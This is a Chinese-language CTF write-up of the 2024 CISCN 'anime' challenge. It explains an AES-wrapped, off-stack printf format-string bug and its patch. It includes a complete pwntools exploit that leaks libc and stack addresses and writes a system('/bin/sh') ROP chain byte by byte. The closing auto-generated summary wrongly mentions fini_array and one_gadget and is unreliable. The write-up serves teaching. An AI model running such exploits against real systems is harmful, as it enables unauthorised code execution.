有限次非栈上格式化改条件扩充循环写
非栈上+有限次+保护全开的思路
有限次非栈上格式化改条件扩充循环写
题目是 2024 年 ciscn 的 anime。
这题表面上是一个只有三次输入机会的格式化字符串题,但真正有意思的地方在于:
- 输入不是直接喂给
printf,而是先经过一次 AES 解密。 - 解密后的内容不在栈上,而是落在
.bss上。 - 程序只给三次机会,所以不能按常规格式化那样慢慢试偏移、慢慢写。
- 如果想做成稳定利用,最后还得把“三次机会”扩成“可循环多次写”。
所以这题更像是一个组合题:AES 单块输入约束 + 非栈上格式化 + 有限次写 + 最终 ROP。
下载链接
通过网盘分享的文件:anime_66a263c1bf97ffad987da7340a879abd.zip
链接: https://pan.baidu.com/s/1ny1RNh2I39ic1A3AD6nDKQ?pwd=aaaa 提取码: aaaa
--来自百度网盘超级会员 v4 的分享
题目核心
核心的部分如下,一共有三次机会:
for ( n3 = 3; n3 > 0; --n3 )
{
printf("Now, you have %d times to tell me what is your favourite anime!\nwhat's your favourite anime: ", n3);
format = (char *)readline();
printf("your like ");
printf(format);
puts("!?\nI like it too!");
}这里一眼就能看出漏洞点:
printf(format);format 完全可控,而且没有使用固定格式串,所以天然就是格式化字符串漏洞。
不过这题和普通格式化不一样的点在于,format 不是直接从标准输入读出来的明文,而是先走了一层 readline()。
明文最终落点
从 readline() 来看,程序先读入密文,再解密,把结果写到另一个全局缓冲区中:
void *readline()
{
memset(ciphertext_password, 0, 0x40u);
memset(decrypted_password, 0, 0x100u);
read(0, ciphertext_password, 0x40u);
aes_decrypt((__int64)ciphertext_password, (__int64)decrypted_password, (__int64)&aes_key);
return decrypted_password;
}这里要注意两件事:
ciphertext_password和decrypted_password看起来都是全局区对象,所以数据不是落在栈上,而是.bss一类的区域。printf最终吃到的是decrypted_password,也就是解密后的明文。
这就是“非栈上格式化”的来源:格式串本身不在栈上,但 printf 取参数时仍然会从当前调用现场的栈里拿变参,所以泄露和写地址仍然成立,只是利用方式跟直接把 payload 放栈上的题会有些差别。
为什么要先绕过 AES
这里需要先绕过一下加密。
我们简单来分析一下:
unsigned __int64 __fastcall aes_decrypt(__int64 ciphertext_password, __int64 decrypted_password, __int64 p_aes_key)
{
_QWORD v4[31]; // [rsp+20h] [rbp-100h] BYREF
unsigned __int64 v5; // [rsp+118h] [rbp-8h]
v5 = __readfsqword(0x28u);
AES_set_decrypt_key(p_aes_key, 128, v4);
AES_decrypt(ciphertext_password, decrypted_password, v4);
return __readfsqword(0x28u) ^ v5;
}这里真正关键的是这一句:
AES_decrypt(ciphertext_password, decrypted_password, v4);这个接口本身就是“解一个 16 字节块”。
也就是说,虽然前面 read(0, ciphertext_password, 0x40u); 看起来读了 0x40 字节,但这里真正参与解密、最终影响 printf(format) 的,只有第一个 AES block,也就是前 16 字节。
这个限制非常重要,因为它直接决定了我们的 payload 不能乱写很长,而要尽量把格式串压进 16 字节内。你后面脚本里专门写了 pad_block() 和 encrypt_block(),本质上就是为了适配这个单块模型。
AES key 的来源
这里的第三个参数就是密钥:
.rodata:0000000000002010 aes_key dq 5E5D479CD65CF37Bh ; DATA XREF: readline+61↑o
.rodata:0000000000002018 db 6Fh ; o
.rodata:0000000000002019 db 1Dh
.rodata:000000000000201A db 7Ah ; z
.rodata:000000000000201B db 23h ; #
.rodata:000000000000201C db 18h
.rodata:000000000000201D db 7Bh ; {
.rodata:000000000000201E db 0F9h
.rodata:000000000000201F db 34h ; 4把它按小端拼起来以后,就是:
KEY = bytes.fromhex("7bf35cd69c475d5e6f1d7a23187bf934")这一点和你后面辅助脚本里的写法正好对应上。
这里可以这么理解:
- 程序视角:它认为自己是在“解密用户输入”。
- 利用者视角:因为 key 已知,所以我们完全可以先把自己想要的明文格式串算出来,再离线加密成密文发给程序。
换句话说,程序的 AES 并没有阻止利用,只是把“直接输入 payload”变成了“先本地加密,再把密文送进去”。
本地辅助脚本的意义
我们写一个文件,里面放上需要的几个函数:
#!/usr/bin/env python3
import argparse
import sys
from Crypto.Cipher import AES
KEY = bytes.fromhex("7bf35cd69c475d5e6f1d7a23187bf934")
BLOCK_SIZE = 16
def pad_block(data: bytes) -> bytes:
if len(data) > BLOCK_SIZE:
raise ValueError(f"plaintext too long: {len(data)} bytes, max {BLOCK_SIZE}")
return data.ljust(BLOCK_SIZE, b"\x00")
def encrypt_block(plain: bytes) -> bytes:
aes = AES.new(KEY, AES.MODE_ECB)
return aes.encrypt(pad_block(plain))
def parse_bytes(value: str, mode: str) -> bytes:
if mode == "text":
return value.encode()
if mode == "hex":
return bytes.fromhex(value)
raise ValueError(f"unsupported mode: {mode}")这个脚本的作用其实非常明确:
pad_block():把明文补到 16 字节。encrypt_block():把我们想要的格式串明文转成程序能接受的密文。parse_bytes():方便手动切换文本输入和十六进制输入。
后面 exp 里的 mydecode() 其实就是把这个流程再包一层,让每次发包的时候直接把明文格式串写出来,不用手工算密文。
fix
这里的话把:
printf(format);改成:
puts(format)即可。
如果想写得更严谨一点,其实也可以改成:
printf("%s", format);这样能保持原本“打印字符串”的语义,同时不会把用户输入当成格式串解析。
这里我们实际上选择使用 assemble,直接在 patch 的位置把调用改掉就行。
这里修改点击回车符就可以完成修改了。
break
刚刚我们做的是修漏洞,这里开始看利用。
这题如果只把它当成一个“一次性格式化”去看,会比较容易卡住,因为它有两个明显限制:
- payload 明文只有 16 字节有效。
- 输入次数只有 3 次。
所以这题的关键不只是“找到格式化偏移”,而是要思考怎样把这 3 次机会用成一个完整链条。
我觉得可以把利用拆成下面几个阶段:
- 第一次:泄露关键地址,拿到
libc和栈信息。 - 第二次:改某个指针或栈槽,把后续写原语搭起来。
- 第三次:进一步把有限次输入扩展成一个可重复使用的写流程。
- 后续:借助扩出来的循环,按字节把 ROP 链写到返回地址附近。
你原文标题里“改条件扩充循环写”,本质上就是第 3 步:不是直接靠三次机会完成所有写,而是先改程序状态,让程序继续进入同一个输入逻辑,从而把有限次写变成多次写。
为什么说这是非栈上格式化
刚刚我们做了一个栈上一次性格式化,这里我们做一下非栈上的格式化。
这里“非栈上”不是说不能打栈,而是说:
- 格式串本体在
.bss上。 - 但
printf解析%15$p、%19$hn这类位置参数时,仍然会去当前调用现场的栈上找对应的参数槽。
所以这类题常见套路是:
- 先通过
%p找到若干栈槽里保存的地址。 - 再挑一个能间接控制的“指针槽”,把它改成目标地址。
- 之后通过
%n/%hn/%hhn完成任意地址写。
也就是说,格式串不在栈上,不影响“借栈作为跳板”这件事。
为什么不直接 one_gadget
后面的话我们一开始选择打 ogg:
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL || r15 is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp
0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL || r15 is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp
0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL || rsi is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp思路的话就是改返回地址为 ogg,我们在这个位置上打断点进行尝试。
之前没安装上的 onegadget 这次安装上了,安装教程可以最后再补。
我们断点在 printf 的这个函数位置 0x15CB。
这里一开始会自然想到:
- 第一次泄露。
- 第二次写栈。
- 第三次直接把返回地址改成 one_gadget。
但是这个方向不一定最稳,原因主要有两个:
one_gadget约束经常比较苛刻,寄存器条件不一定满足。- 这里你观察到返回地址更偏向
elf侧,而不是一个现成的libc返回点,直接一把梭改ogg不一定顺手。
所以后面换成 ROP 链是更稳的做法:
- 条件可控。
- 行为更容易调试。
- 即使只能按字节慢慢写,也能稳定落地。
利用主线整理
这一题的利用主线,我觉得可以概括成下面一句话:
先用一次短格式串拿泄露,再把一个现成的栈槽改造成“指针跳板”,最后通过循环把 ROP 链按字节写到返回地址处。
这句话对应你脚本里的几个函数,基本就是:
pwn1():泄露。pwn2():改第一层指针。pwn3():改第二层写入落点,或者改循环条件,为后续 byte write 铺路。rop():真正开始批量写 ROP。
exp 如下
最终 exp 如下:
from pwn import * # type: ignore
from exp import encrypt_block, parse_bytes
context.log_level = "debug"
context.arch = "amd64"
context.terminal = ["tmux", "splitw", "-h"]
PROMPT = b"what's your favourite anime: "
PTR_SLOT = 19
WRITE_SLOT = 49
ONE_GADGET = 0xE3AFE
def mydecode(data, input_mode="text"):
if isinstance(data, (bytes, bytearray)):
plain = bytes(data)
else:
plain = parse_bytes(data, input_mode)
return encrypt_block(plain)
def pwn1():
pd = b'%15$p%19$p'
#pd = b'%p'
return mydecode(pd)
def pwn2():
global stack,lib
pd = b'%' + f"{(stack-0x2c)&0xffff}".encode() + b'c%' + str(PTR_SLOT).encode() + b'$hn'
return mydecode(pd)
def pwn3():
global stack,lib
pd = b'%' + f"{(stack)&0xffff}".encode() + b'c%' + str(WRITE_SLOT).encode() + b'$hn'
return mydecode(pd)
def rop():
global stack,lib
libc = ELF("./libc.so.6")
pop_rdi = lib + 0x0000000000023b6a
ret = lib + 0x0000000000022679
system = lib + libc.symbols["system"]
binsh = lib + next(libc.search(b"/bin/sh\x00"))
stack_ret = stack + 0x8
print("stack_ret =====>",hex(stack_ret))
pause()
data = flat(pop_rdi, binsh, ret, system)
for i in range(len(data)):
pay = f"%{(stack_ret + i)&0xffff}c%19$hn\x00"
pay = pay.encode()
io.recvuntil("what's your favourite anime: ")
io.send(mydecode(pay))
pd = data[i]
if(pd==0):
pay = f"%49$hhn\x00"
else:
pay = f"%{pd}c%49$hhn\x00"
pay = pay.encode()
io.recvuntil("what's your favourite anime: ")
io.send(mydecode(pay))
def main():
global io,stack,lib
io = process("./pwn")
#gdb.attach(io,"b *$rebase(0x15CB)")
io.recvuntil(b"linsir want to know your name\n")
io.sendline(b"ziran")
io.recvuntil(b"what's your favourite anime: ")
pd = pwn1()
io.send(pd)
io.recvuntil(b"0x")
lib = int(io.recv(12), 16) - 0x29d90
io.recvuntil(b"0x")
stack = int(io.recv(12), 16) - 0x100 - 0x18 #-0x8的话是rbp的地址
print(f"libc: {hex(lib)}")
print(f"stack: {hex(stack)}")
pause()
io.recvuntil("what's your favourite anime: ")
pd = pwn2()
#pause()
io.send(pd)
io.recvuntil("what's your favourite anime: ")
pd = pwn3()
io.send(pd)
#gdb.attach(io,"b *$rebase(0x15E0)")
gdb.attach(io,"b *$rebase(0x15CB)")
rop()
if __name__ == "__main__":
main()
io.interactive() # type: ignoreexp 分块解释
1. mydecode()
def mydecode(data, input_mode="text"):
if isinstance(data, (bytes, bytearray)):
plain = bytes(data)
else:
plain = parse_bytes(data, input_mode)
return encrypt_block(plain)这一层主要是为了统一发送接口。
你后面所有 pwn1/pwn2/pwn3/rop 构造出来的其实都是“明文格式串”,而程序真正要吃的是 AES 密文,所以统一在这里做一次转换,后面写 exp 时就会顺手很多。
2. pwn1():先泄露
def pwn1():
pd = b'%15$p%19$p'
return mydecode(pd)这一发很关键,它一口气做了两件事:
- 用
%15$p泄露一个libc相关地址。 - 用
%19$p泄露一个栈相关地址。
后面主程序里:
lib = int(io.recv(12), 16) - 0x29d90
stack = int(io.recv(12), 16) - 0x100 - 0x18说明你已经提前通过调试确认了:
- 第一个泄露减掉
0x29d90能回到libc base。 - 第二个泄露减掉
0x100 + 0x18能定位到后面要利用的栈区域。
这一步做完以后,后面所有写地址动作才有坐标。
3. pwn2():先改跳板指针
def pwn2():
global stack,lib
pd = b'%' + f"{(stack-0x2c)&0xffff}".encode() + b'c%' + str(PTR_SLOT).encode() + b'$hn'
return mydecode(pd)这里用的是 %hn,也就是 2 字节写。
PTR_SLOT = 19 说明你选中了第 19 个参数槽,把它当成“第一层可控指针”来使用。
从脚本效果上看,这一步的目的可以理解成:
- 先把某个已有指针的低两字节改掉。
- 让它指向我们后面真正想操作的栈位置附近。
因为格式化题里最常见的一种打法就是:
- 手头没有直接任意地址写。
- 但是栈上碰巧有一个“指向别处的指针”。
- 先改这个指针,再借它去写真正目标。
这里的 stack - 0x2c 就是这类“搭桥”动作的体现。
4. pwn3():把写原语落到目标区域
def pwn3():
global stack,lib
pd = b'%' + f"{(stack)&0xffff}".encode() + b'c%' + str(WRITE_SLOT).encode() + b'$hn'
return mydecode(pd)这一步和 pwn2() 是配套的。
WRITE_SLOT = 49 说明第 49 个参数槽也是可利用资源。结合 rop() 里的后续写法来看,这一步的实际效果可以理解为:
- 把另外一个写槽重新定向到目标栈位置。
- 让
%49$hhn之后变成一个可以对目标地址逐字节写入的原语。
也就是说,pwn2() 和 pwn3() 不是各写一个“最终地址”就结束,而是在搭一个“两级指针写”的结构:
%19$hn负责改“写针头指向哪里”。%49$hhn负责往“针头当前指向的位置”写一个字节。
到了这里,整个利用就从“只有三次机会”切换成了“已经能继续反复写返回地址附近的内容”。
5. rop():按字节写 ROP
def rop():
global stack,lib
libc = ELF("./libc.so.6")
pop_rdi = lib + 0x0000000000023b6a
ret = lib + 0x0000000000022679
system = lib + libc.symbols["system"]
binsh = lib + next(libc.search(b"/bin/sh\x00"))
stack_ret = stack + 0x8
print("stack_ret =====>",hex(stack_ret))
pause()
data = flat(pop_rdi, binsh, ret, system)
for i in range(len(data)):
pay = f"%{(stack_ret + i)&0xffff}c%19$hn\x00"
pay = pay.encode()
io.recvuntil("what's your favourite anime: ")
io.send(mydecode(pay))
pd = data[i]
if(pd==0):
pay = f"%49$hhn\x00"
else:
pay = f"%{pd}c%49$hhn\x00"
pay = pay.encode()
io.recvuntil("what's your favourite anime: ")
io.send(mydecode(pay))这一段是全文最值得展开讲的地方。
这里不是一次性把整条 ROP 打进去,而是“按字节写入”:
第一步:用 %19$hn 设置当前写地址
pay = f"%{(stack_ret + i)&0xffff}c%19$hn\x00"意思是:
- 先打印足够多字符,让当前计数器变成
(stack_ret + i) & 0xffff。 - 然后通过
%19$hn把这个 2 字节值写到“指针跳板”里。 - 于是当前写指针就被拨到
stack_ret + i这个字节位置。
第二步:用 %49$hhn 写入实际字节
pd = data[i]
if(pd==0):
pay = f"%49$hhn\x00"
else:
pay = f"%{pd}c%49$hhn\x00"意思是:
- 如果当前要写的字节是
0,直接%49$hhn,把当前输出长度 0 写进去。 - 否则先输出
pd个字符,再%49$hhn,把低 1 字节写成目标值。
于是两个原语组合起来就变成了:
%19$hn控制“写到哪里”。%49$hhn控制“写成什么值”。
这就是非常标准的“半字改指针 + 单字节落值”的打法。
第一个文件的函数定义
第一个文件的函数定义如下:
#!/usr/bin/env python3
import argparse
import sys
from Crypto.Cipher import AES
KEY = bytes.fromhex("7bf35cd69c475d5e6f1d7a23187bf934")
BLOCK_SIZE = 16
def pad_block(data: bytes) -> bytes:
if len(data) > BLOCK_SIZE:
raise ValueError(f"plaintext too long: {len(data)} bytes, max {BLOCK_SIZE}")
return data.ljust(BLOCK_SIZE, b"\x00")
def encrypt_block(plain: bytes) -> bytes:
aes = AES.new(KEY, AES.MODE_ECB)
return aes.encrypt(pad_block(plain))
def parse_bytes(value: str, mode: str) -> bytes:
if mode == "text":
return value.encode()
if mode == "hex":
return bytes.fromhex(value)
raise ValueError(f"unsupported mode: {mode}")通过三次格式化写实现非栈上ROP链构造,绕过AES解密校验,结合fini_array重启与one_gadget定位libc执行getshell。
由 AI 根据全文自动生成,仅供参考,以原文为准